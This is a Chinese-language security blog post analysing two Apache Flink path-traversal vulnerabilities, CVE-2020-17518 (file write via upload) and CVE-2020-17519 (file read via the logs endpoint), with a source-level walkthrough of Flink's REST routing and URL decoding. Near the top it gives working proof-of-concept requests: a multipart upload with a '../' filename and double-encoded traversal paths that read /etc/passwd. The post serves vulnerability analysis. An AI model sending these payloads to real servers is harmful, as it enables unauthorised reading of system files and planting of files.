Hu3sky's blog

CVE-2020-17518/17519:Apache Flink 目录遍历漏洞&路由分析

Word count: 1,920 / Reading time: 8 min
2021/01/18 397 Share

简介

CVE-2020-17518: 文件写入漏洞

攻击者利用REST API,可以修改HTTP头,将上传的文件写入到本地文件系统上的任意位置(Flink 1.5.1进程能访问到的),网上给出的上传是/jars/upload,上传并不限于这个路径,任意路径都可触发上传操作,后面会说明原理。

commit:

https://github.com/apache/flink/commit/a5264a6f41524afe8ceadf1d8ddc8c80f323ebc4

diff:

80295c8b9f379a0fd6e1db5054d9e275

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /xxxxx HTTP/1.1
Host: 127.0.0.1:8081
Content-Length: 240
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydLJYTdN9WQcccoYR ; boundary=----WebKitFormBoundarydLJYTdN9WQccca
Origin: http://shiro:8081
Referer: http://shiro:8081/
Accept-Encoding: gzip, deflate
Transfer-Encoding: chunked;
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundarydLJYTdN9WQcccoYR
Content-Disposition: form-data; name="filename"; filename="../../../../../../../../../../../../tmp/test.jar"
Content-Type: application/text

360cert

------WebKitFormBoundarydLJYTdN9WQcccoYR--

379667e369d65da4715e135b89af4f8d

CVE-2020-17519: 文件读取漏洞

Apache Flink 1.11.0 允许攻击者通过JobManager进程的REST API读取JobManager本地文件系统上的任何文件(JobManager进程能访问到的)。

commit:

https://github.com/apache/flink/commit/b561010b0ee741543c3953306037f00d7a9f0801

diff:

0512c391d5a58e37c9b4b3349de6a388

poc

1
2
/jobmanager/logs/..%252fREADME.txt
/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

8cfdb24a979634393181142056ece657

前置知识

一个 Flink 集群总是包含一个 JobManager 以及一个或多个 Flink TaskManager。JobManager 负责处理 Job 提交、 Job 监控以及资源管理。Flink TaskManager 运行 worker 进程, 负责实际任务 Tasks 的执行,而这些任务共同组成了一个 Flink Job。

REST-APi

Flink 具有监控 API ,可用于查询正在运行的作业以及最近完成的作业的状态和统计信息。该监控 API 被用于 Flink 自己的仪表盘,同时也可用于自定义监控工具。

https://ci.apache.org/projects/flink/flink-docs-release-1.12/zh/ops/rest_api.html#rest-api

REST API 后端位于 flink-runtime 项目中。核心类是 org.apache.flink.runtime.webmonitor.WebMonitorEndpoint ,用来配置服务器和请求路由。

Netty

Rest API 里请求的分派就涉及到了使用 NettyNetty Router 库。
Netty是一款基于NIO(Nonblocking I/O,非阻塞IO)开发的网络通信框架。

Channel

Channel,表示一个连接,可以理解为每一个请求,就是一个Channel
ChannelHandler,核心处理业务就在这里,用于处理业务请求
ChannelHandlerContext,用于传输业务数据,flink中的例子对应AbstractChannelHandlerContext,包含prev上一节点 handlernext 下一节点 handler
83fe869d55d91e89a19ac3cb76196625

ChannelPipeline,用于保存处理过程需要用到的 ChannelHandlerChannelHandlerContext

3bdedcb5a5cc26f9cb8114b6c936d014

事件在 pipeline 中的传播:

  1. 传播行为:事件执行到某个 Handler 后,如果不手动触发 ctx.fireChannelRead,则传播中断。
  2. 执行线程:业务线程默认是在 NioEventLoop 中执行。如果业务处理有阻塞,需要考虑另起线程执行。

事件的处理:主要是在 HandlerchannelRead 上进行处理。

分析

路由

初始化

REST API 后端位于 flink-runtime 项目中。核心类是org.apache.flink.runtime.webmonitor.WebMonitorEndpoint,用来配置服务器和请求路由。

根据官方文档,可以知道,如果添加一个新的 api 需要:

  1. 添加一个新的 MessageHeaders 实现类,作为新请求的接口。
  2. 添加一个新的 AbstractRestHandler 实现类,相当于一个ChannelHandler,该类接收并处理 MessageHeaders 类的请求。
  3. 将处理程序添加到 org.apache.flink.runtime.webmonitor.WebMonitorEndpoint#initializeHandlers() 中。

以出现漏洞的api为例,在初始化路由的时候,代码如下:

1
2
3
4
5
6
7
8
protected List<Tuple2<RestHandlerSpecification, ChannelInboundHandler>> initializeHandlers(CompletableFuture<String> localAddressFuture) {
...

JobManagerCustomLogHandler jobManagerCustomLogHandler = new JobManagerCustomLogHandler(this.leaderRetriever, timeout, this.responseHeaders, JobManagerCustomLogHeaders.getInstance(), logFileLocation.logDir);

...

}

这里的 JobManagerCustomLogHandler 就是AbstractRestHandler的实现类,也就是体现 api 具体功能的类,而 JobManagerCustomLogHeadersMessageHeaders 类的实现类,具体定义了 api 的访问路径,这里的 JobManagerCustomLogHeaders.getInstance() 体现了单例的设计模式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public class JobManagerCustomLogHeaders implements UntypedResponseMessageHeaders<EmptyRequestBody, FileMessageParameters> {
private static final JobManagerCustomLogHeaders INSTANCE = new JobManagerCustomLogHeaders();
private static final String URL = String.format("/jobmanager/logs/:%s", "filename");

private JobManagerCustomLogHeaders() {
}

public static JobManagerCustomLogHeaders getInstance() {
return INSTANCE;
}

public Class<EmptyRequestBody> getRequestClass() {
return EmptyRequestBody.class;
}

public FileMessageParameters getUnresolvedMessageParameters() {
return new FileMessageParameters();
}

public HttpMethodWrapper getHttpMethod() {
return HttpMethodWrapper.GET;
}

public String getTargetRestEndpointURL() {
return URL;
}
}

注册路由

之后,将初始化的路由进行注册,主要调用的是RestServerEndpoint#registerHandler,这里会根据MessageHeaders实现类给出的请求方法分派给Router类的不同adder处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
private static void registerHandler(Router router, String handlerURL, HttpMethodWrapper httpMethod, ChannelInboundHandler handler) {
switch(httpMethod) {
case GET:
router.addGet(handlerURL, handler);
break;
case POST:
router.addPost(handlerURL, handler);
break;
case DELETE:
router.addDelete(handlerURL, handler);
break;
case PATCH:
router.addPatch(handlerURL, handler);
break;
default:
throw new RuntimeException("Unsupported http method: " + httpMethod + '.');
}

}

注册之后,保存在routers里,不同的处理方式存放不同的handler。

08793e4a3fbb676eae503197b5efc67a

请求分派

之后,当我们发起请求的时候,就由RouterHandler#channelRead0来进行请求的分派。
根据我们发起的请求,获取请求方式,然后获取url,此时的url没有解码,然后实例化一个QueryStringDecoder,赋值给qsd
2d80f4a43d1ad3d8110660b7c0688ec9
然后,就调用 Router#route,传入三个参数,请求方式、qsd#pathqsd#parameters

第一次解码

path是一开始没有被赋值的,于是,这里会调用decodeComponent方法,并且传入我们请求的url,也就是/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
a9fa780b8351245cc4e3d643015f03ab

decodeComponent是自定义的一个解码方法,在这里会定位到%,并解码 %xx,然后拼接,问题就在于这里的解码只解了一次,于是返回的path/jobmanager/logs/..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

然后调用route方法。

第二次解码

根据请求的method,获取routers里对应的路由。然后对path调用decodePathTokens
a9b3e6cf5948df38b1a70102cbfb4f93
这里会以/拆分path,然后分别解码,其中,解码依然是调用了decodeComponent这个方法进行解码,
fb1c8cab63d5a793e55d562df758a99b
最终解码的结果为,赋值给tokens
98e42558417df6bf987d7781a34b148c

路径匹配

然后继续调用另一个route方法,传入pathtokens,这个方法里会根据传入的 pathrouter 里进行匹配对应的路径,我们匹配到的是 jobmanager/logs/:filename

4861c84852a06faf7eb09ca83adc0e91

然后获取到对应的handler->JobManagerCustomLogHandler

然后将tokenshandler、等存到RoutedRequest里。
cb2b345fac5daac22000e66f4632fe7d

CVE-2020-17519

之后,请求/事件会被传播到LeaderRetrievalHandler#channelRead0,这里,会调用之前匹配到的 HandlerrespondAsLeader 方法。

cf305285e6a2dc56dcc4430714f97fbe

Log 对应的 JobManagerCustomLogHandler 没有 respondAsLeader 方法,于是调用其父类 AbstractHandlerrespondAsLeader 方法。接着,在内部又调了AbstractHandler 子类 AbstractJobManagerFileHandlerrespondAsLeader

调用JobManagerCustomLogHandler#getFile
db352da7d45ac2503110ec6b66150130

handlerRequest 里获取到 tokens 里的 filename
8bb8fd1cd97d2e727281a432526c9431

CVE-2020-17518

上传的处理是在 FileUploadHandler#channelRead0,产生的原因依然是存在路径遍历,可以上传到任意目录下,造成任意文件写入。

msg 是一个 HttpContent 类型的时候,可以走到 FileUploadHandler 的上传逻辑,于是构造一个上传表单即可,具体的包在文首有。

这里上传请求的 url 路径可以是任意的,因为请求是一定会分派到 FileUploadHandler 进行处理的,这是由 flink 设置的 handler 处理链所决定的。

文件是通过 renameTo 方法进行移动的,将上传的临时文件进行转移。
4c57eb27210ac8e2f6aa363a21ebdaf0

offer方法里会对body进行解析,解析出 filename 等信息。
790e9b6a1e807906f792e18705e09f0d

调用链较长
9a2f4f9a55985453c9554b04aabdcd2d

随后在renameTo发生遍历。

总结

任意文件读取主要是由于在处理访问logs请求的时候,Handler会去请求读取logs文件,然而该文件名的编码处理出现了问题,从而在读文件的时候造成了路径遍历,文件上传也是同样的道理,不过有意思的是,任意路径都可以触发,即使路径并不存在,因为处理文件的Handler是众多对请求进行处理的必经之路。

Reference

Error: Not Found
CATALOG
  1. 1. 简介
  2. 2. 前置知识
  3. 3. 分析
  4. 4. 总结
  5. 5. Reference